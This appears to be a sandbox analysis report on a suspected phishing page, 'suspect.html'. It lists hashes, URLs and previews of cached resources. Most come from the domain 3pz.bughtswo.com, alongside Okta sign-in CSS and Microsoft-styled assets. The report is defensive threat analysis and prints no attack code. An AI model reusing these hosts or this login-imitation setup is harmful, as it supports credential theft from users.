Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	270
Entropy (8bit):	4.840496990713235
Encrypted:	false
SSDEEP:
MD5:	40EB39126300B56BF66C20EE75B54093
SHA1:	83678D94097257EB474713DEC49E8094F49D2E2A
SHA-256:	765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
SHA-512:	9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/mnGeMwtuiseg6FuvHXI23EgklvYhJt1DtbpXmd9tZGrz78150
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7390
Entropy (8bit):	4.02755241095864
Encrypted:	false
SSDEEP:
MD5:	B59C16CA9BF156438A8A96D45E33DB64
SHA1:	4E51B7D3477414B220F688ADABD76D3AE6472EE3
SHA-256:	A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
SHA-512:	2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/kl3XiVz0aPutz6bSmjR9D2P593BDt6Z4DUWuOyzYQYdRIcPOAJBMuwV98WwDp5V256170
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 36696, version 1.0
Category:	downloaded
Size (bytes):	36696
Entropy (8bit):	7.988666025644622
Encrypted:	false
SSDEEP:
MD5:	A69E9AB8AFDD7486EC0749C551051FF2
SHA1:	C34E6AA327B536FB48D1FE03577A47C7EE2231B8
SHA-256:	FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
SHA-512:	9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/GDSherpa-regular.woff
Preview:	wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z\|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.\|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......\|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... gM..h.....Q!}B...Q.m.M...R.5.JUi..U_5@]..PW...5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.V..j.Z...j..BJ.._Pw..0..f...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e\|......B>....1.a,.D.Ej..(.

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (51734)
Category:	downloaded
Size (bytes):	222931
Entropy (8bit):	5.0213311632628725
Encrypted:	false
SSDEEP:
MD5:	0329C939FCA7C78756B94FBCD95E322B
SHA1:	7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
SHA-256:	0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
SHA-512:	1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
Malicious:	false
Reputation:	unknown
URL:	https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
Preview:	@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 35970, version 1.0
Category:	downloaded
Size (bytes):	35970
Entropy (8bit):	7.989503040923577
Encrypted:	false
SSDEEP:
MD5:	496B7BBDE91C7DC7CF9BBABBB3921DA8
SHA1:	2BD3C406A715AB52DAD84C803C55BF4A6E66A924
SHA-256:	AE40A04F95DF12B0C364F26AB691DC0C391D394A28BCDB4AEACFACA325D0A798
SHA-512:	E02B40FEA8F77292B379D7D792D9142B32DFCB887655A2D1781441227DD968589BFC5C00691B92E824F7EDB47D11EBA325ADE67AD08A4AF31A3B0DDF4BB8B967
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/GDSherpa-bold.woff
Preview:	wOFF..............$ .......\...&............DSIG...T............GPOS..........N..B..GSUB...`.........3y.OS/2.......F...`i.{[cmap...X.......<.?+.cvt ......./...<)...fpgm............?...gasp................glyf..!t..Ra....$.ihead..s....3...6..}.hhea..t....!...$....hmtx..t0.......x?s.#loca..w.........LC%.maxp..{X... ... .5..name..{x..........post..~@........1+.,prep.............P..x..\.tU..;y...!..!..R.4."(."".U..V.]3...r..5c...j....._.7U...H..1MSE...0b..b&.......%..w...}.{.......u...s..g..soBLD~.C.)n..1.Q...z.q. ..R..)n.QY.v..{.(...o...O.......G...{to.~.....,..#<.w...W...?6..3....2.)O........].`_a..F'.6..."}&..$'.K...a..NK$..01ar......-.Do_. .H.].x'{....n....{.\|.L.p..u...-.w}.}...~.....(.zP:..^t.=D?..i9.....m.......AE.......J.....j......q&_...`....P....M<.o.[.V....H..Sx:...<.g.....x>/.......^..x9.....Ws...&.....x....jUJ...B.S...2(_...U...Q...<..y.j.y...P.x.:....m+..V.....5h[.~E.WL..rp....0..Pu..$OA....LJ.Y.....9.e...L..... /"?.m.......+..J.........

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 93276, version 1.0
Category:	downloaded
Size (bytes):	93276
Entropy (8bit):	7.997636438159837
Encrypted:	true
SSDEEP:
MD5:	BCD7983EA5AA57C55F6758B4977983CB
SHA1:	EF3A009E205229E07FB0EC8569E669B11C378EF1
SHA-256:	6528A0BF9A836A53DFD8536E1786BA6831C9D1FAA74967126FDDF5B2081B858C
SHA-512:	E868A2702CA3B99E1ABBCBD40B1C90B42A9D26086A434F1CBAE79DFC072216F2F990FEC6265A801BC4F96DB0431E8F0B99EB0129B2EE7505B3FDFD9BB9BAFE90
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/GDSherpa-vf2.woff2
Preview:	wOF2......l\....... ..k...........................v...&..$?HVAR.j?MVAR.F.`?STAT.6'8.../.H........x....0..:.6.$..0. ..z...[....%"...........!.I.T....w.!c.H...t.]k......6..Cy..Ul.re........I..%.%....DE....v.i.QF8....iH.!r......P4Z[....Zs....o..r..8b.O....n...!......R}GL..5n!....^..I...A.....U...,&..uz....E.R.K/GL...#..U..A8%.rd..E,}...'e...u..3.dD....}..:..0.a..#O8.\|.7..{.}.o......(.D..HX...w.;F...g.+....g.x..,.@~<.K......ZJw......^.!..{:..<..`N..h..0.t..NA..,...]........On./..X\|_=...e,.tS..3Z..q_....'F[..jR.?U..k.:+;..Z.co5..l..yV.Md..4.6............L8q..._...AX.y.Cc...Agb..a.K...N....`-..N.b.u...q..i.S...p..j*...fA.......?.Z.Ee.~\|.\..TZ._...?./a.64..+.]..(gq..d..\K...S..z.i.l[.........1=....I.....4g.?.G.3.&.0L&.$.@R6...U..o..:.S.=.....bU..u.]z.W8[U.\|7.'.%..u...11..g<.^...J..PB.JHB...k........].($..D...S"u...7...9.8.....U..7...R$..x...g.X.zV.,.$....y.:.....Q$OM....q.. ...(.O....".d<.l..9..\|^B.r.5......yi.D..._...<P..o....(Re.I...@E.~..T.

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
Category:	downloaded
Size (bytes):	28584
Entropy (8bit):	7.992563951996154
Encrypted:	true
SSDEEP:
MD5:	17081510F3A6F2F619EC8C6F244523C7
SHA1:	87F34B2A1532C50F2A424C345D03FE028DB35635
SHA-256:	2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
SHA-512:	E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/GDSherpa-regular.woff2
Preview:	wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww....eU..S.........0..S.s..,....\.e..F.&....oUR.}Q.C..2.TD....5..#..h.H.2.\|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#...#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......LCE..Nf~.N.eJ.iXnXC.&....t.U..Nr.@..lZ.... .X..

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	unknown
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	51
Entropy (8bit):	4.336367195159386
Encrypted:	false
SSDEEP:
MD5:	5953CFF560D82FDF8CF2A6D298CDC3D8
SHA1:	B5C6429A7619387A1D8B433AB3B32B3CB38D8C6A
SHA-256:	0CED1BBB58A355B427D11E7F3DB1927415E4B6232584612535BCEED551607CFB
SHA-512:	69DB4D3131876D5099EB8E21F9EE4F624A81FF220B28E6CC73B4940388C1D5A114CBA9ABC0B56C4A0C35FC23C65A29E5B7A8AB308D6654F881BF4EC4556350FC
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/pcjgktyoyaysvmnpsseafsrkslpumfzh9xa3ziatrn40zfgb8qgw?XDZZMGXXGMZWWSUFWLHJH
Preview:	<script>window.location.replace('/admi/');</script>

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	25216
Entropy (8bit):	7.947339442168474
Encrypted:	false
SSDEEP:
MD5:	F9A795E2270664A7A169C73B6D84A575
SHA1:	0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
SHA-256:	D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
SHA-512:	E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
Malicious:	false
Reputation:	unknown
Preview:	RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>\|....^..2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.3\|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Reputation:	unknown
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	937
Entropy (8bit):	7.737931820487441
Encrypted:	false
SSDEEP:
MD5:	FC3B7BBE7970F47579127561139060E2
SHA1:	3F7C5783FE1F4404CB16304A5A274778EA3ABD25
SHA-256:	85E6223AFDBD5BADF2C79BCFBAA6FE686ACAA781ECA52C196647FFABB3BE2FFE
SHA-512:	49FA22DE92BEBEDE28BB72F7C7902C01D59E56723811629E40C8A887E34FD0B392A9DF169A238BDD8E46D984E76312D75B2644B8611C66A71A559C1B6834DE6C
Malicious:	false
Reputation:	unknown
URL:	https://developers.cloudflare.com/favicon.png
Preview:	.PNG........IHDR... ... .....szz.....pHYs...........~....[IDATX..KHTQ..g...&....!pY-.q.-B.H....Q`HY.wL.L....D....M.hS.H.w..wF..y\|..s.9..2.6s..w.....}.9........m.{"."q.Q..x.ZO..h.U.y.3.].^.M. .0...D7L...D....w...a$}/u..)n....@......8.V.y6..X..U.QgA.\.Q.F..~.>..'......g.=.2..VW..\....`1d......q..........6...Y...L.g9....l.-...z.t.CE\|...d5...b..H?....4...+.J.....9.E..-. ..R$.D.S....7...b..i..\q.?0..9....,d&...mw.L..&N.FpM"...;.......O[db/...-....Q<..WDhN.nu....%...m......A.S.._.>w...0.u..TJ...)......u..(=.!.."zTE0....J....ki#..n0..^.._"..D.....u..p.*=.&d..1....8...f.kR.3G6.t....Vcl.o=~/.$./...I.....$............(]...9.,...i....e... ..........._....@.h./......./U2Nd..........U..\|...{.(...y....`.\|....z\..z.@.o5...-...O.T.TL).5...y.m.......zZ........:..B..i..w...?!...m-xi.....;...e.0.A...W.}..E...u......h0O./...U..jA..., ..{.(......._=.w#.~..<..g.Vz....o@.e...........2.....T....IEND.B`.

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10450)
Category:	downloaded
Size (bytes):	10498
Entropy (8bit):	5.327380141461276
Encrypted:	false
SSDEEP:
MD5:	E0D37A504604EF874BAD26435D62011F
SHA1:	4301F0D2B729AE22ADECE657D79ECCAA25F429B1
SHA-256:	C39FF65E2A102E644EB0BF2E31D2BAD3D18F7AFB25B3B9BA7A4D46263A711179
SHA-512:	EF838FD58E0D12596726894AB9418C1FBE31833C187C3323EBFD432970EB1593363513F12114E78E008012CDEF15B504D603AFE4BB10AE5C47674045ACC5221E
Malicious:	false
Reputation:	unknown
URL:	https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css
Preview:	a,abbr,acronym,address,applet,b,big,blockquote,body,caption,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,table,tbody,td,tfoot,th,thead,tr,tt,u,ul,var{background:transparent;border:0;font-size:100%;font:inherit;margin:0;outline:0;padding:0;vertical-align:baseline}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}:focus{outline:0}ins{text-decoration:none}del{text-decoration:line-through}table{border-collapse:collapse;border-spacing:0}input[type=hidden]{display:none!important}input[type=checkbox],input[type=radio]{border:0!important;margin:0;padding:0}@font-face{font-family:Proxima Nova;font-style:normal;font-weight:400;src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot);src:url(../font/assets/proximanova-reg-webfont.9d5837512674046fa816.eot?#iefix) fo

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26765), with no line terminators
Category:	downloaded
Size (bytes):	26765
Entropy (8bit):	5.114987586674101
Encrypted:	false
SSDEEP:
MD5:	1A862A89D5633FAC83D763886726740D
SHA1:	E5CE3AA454C992A13FD406A9647D7AFBF831051F
SHA-256:	5C22FD904EDB792331A7307DDF4A790E0D1318924F6D8E7362FA6B55D5AB6FBB
SHA-512:	3BFAB627DC0EBFAE1176098C870B4D2747518E7EA91646303276191A4A846D47B2E80BB1EE2FA67271130ECCBC8B1152778C99917FC6C63EA45A184BD673BF0D
Malicious:	false
Reputation:	unknown
URL:	https://3pz.bughtswo.com/12cgfpYt7Gg84zxyfkj8918
Preview:	#authcalldesc,#sections,.text-m{font-size:.9375rem},input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #pageName,#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400},.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}*{margin:0}.websitesections{height:100%;width:100vw;position:relative}#sections_doc,#sections_go

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	9648
Entropy (8bit):	7.9099172475143416
Encrypted:	false
SSDEEP:
MD5:	4946EB373B18D178C93D473489673BB6
SHA1:	16477ACB73B63CA251D37401249E7E4515FEBD24
SHA-256:	666BC574C9F3FB28A8AC626FA8105C187C2A313736494A06BD5A937473673C92
SHA-512:	F684B90B748DC8399F76C5D8F94AF6C4E6869143F18D19CE435B25EAA14E9647B120467BDD0795895676DC0CCCDEABF82BEB2F46CE2C5BF4C58ED9C134F30C48
Malicious:	false
Reputation:	unknown
Preview:	RIFF.%..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH......0....n.mu..G..t042.....@...`[...%...6....9AD.'@.,f.B...+..+..+..W&.p.....h.......f.-...+.....m...n....E....O].+R.&Q..#.X.ip4..p......\O...\/....9.5.a..DfZ,K....8.....Z..2..z......t.......\|.I.(..6E.D.}.C..OQD$S}iZ...[D.......q`(...@../.NQ......+"b%.X.D".G.*...0G...".2........x.O......7......E..&....e.F..4...K>.M..Pd.B...@'o./te..[.f....4[..a..x...9#.@$.=...t..=..t_.W....[..f.\|fv...N...c6..k4}.9.7.....f.F3.4[...a...;.m.@N.n.0.....n.G[c.H.}..t.{..;....G...2.::..].0....

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10017)
Category:	downloaded
Size (bytes):	10245
Entropy (8bit):	5.437589264532084
Encrypted:	false
SSDEEP:
MD5:	6C20A2BE8BA900BC0A7118893A2B1072
SHA1:	FF7766FDE1F33882C6E1C481CEED6F6588EA764C
SHA-256:	B1C42ACD0288C435E95E00332476781532ED002CAC6F3DCEE9110CED30B31500
SHA-512:	8F80AD8ADC44845D24E13D56738A2CA2A73EE6FCDC187542BA4AAEBBF8817935D053A2ACFB0D425B9CC0C582B5091E1C9FE16B90B3AA682187645067C267FC41
Malicious:	false
Reputation:	unknown
URL:	https://objects.githubusercontent.com/github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250318%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250318T005458Z&X-Amz-Expires=300&X-Amz-Signature=b818719a854c0e41447bb4b3f5401a207a6130937cb292bb6da819d77b602586&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream
Preview:	//.// randexp v0.4.3.// Create random strings that match a given regular expression..//.// Copyright (C) 2016 by Roly Fentanes (https://github.com/fent).// MIT License.// http://github.com/fent/randexp.js/raw/master/LICENSE .//.!function(){var e="RandExp",t=function(){return function e(t,n,r){function o(s,i){if(!n[s]){if(!t[s]){var u="function"==typeof require&&require;if(!i&&u)return u(s,!0);if(a)return a(s,!0);var p=new Error("Cannot find module '"+s+"'");throw p.code="MODULE_NOT_FOUND",p}var h=n[s]={exports:{}};t[s][0].call(h.exports,function(e){var n=t[s][1][e];return o(n?n:e)},h,h.exports,e,t,n,r)}return n[s].exports}for(var a="function"==typeof require&&require,s=0;s<r.length;s++)o(r[s]);return o}({1:[function(e,t,n){function r(e){return e+(e>=97&&122>=e?-32:e>=65&&90>=e?32:0)}function o(){return!this.randInt(0,1)}function a(e){return e instanceof h?e.index(this.randInt(0,e.length-1)):e[this.randInt(0,e.length-1)]}function s(e){if(e.type===p.types.CHAR)return new h(e.value);if(e.

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (1186), with CRLF line terminators
Entropy (8bit):	6.081287604608875
TrID:	HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (11001/1) 26.83% HyperText Markup Language (6006/1) 14.65%
File name:	suspect.html
File size:	1'351 bytes
MD5:	f5e6efad87e2133a94def99abe16d5eb
SHA1:	6ec0edf8eadf07db4689b88ffd5d02fa5acf3b55
SHA256:	0ccb860546987aa19ef992a8002cb46a13cd87c1e008419165bbce48d7e630cb
SHA512:	c8b57e241ea0df29a94e4822dbf7dfa95f93b5c34c655d2316fd9dd761d58b80d81786b716c6d825ec7a280b921863ec77dd6179231ae9745e0f1dd0d0fa021a
SSDEEP:	24:q3kfevsNB4FYb9p3vi0BpZtvaIt0ks1ptqU9IpksFQfYKtBxOxtOMf:q3ETsY5p3a0BftvaItg1nqU9qtFEY4B8
TLSH:	FA2163B51501788C0F78F7AC4C5672A1864B4F44AD01C0BDF784B8E26867EA90BF5F26
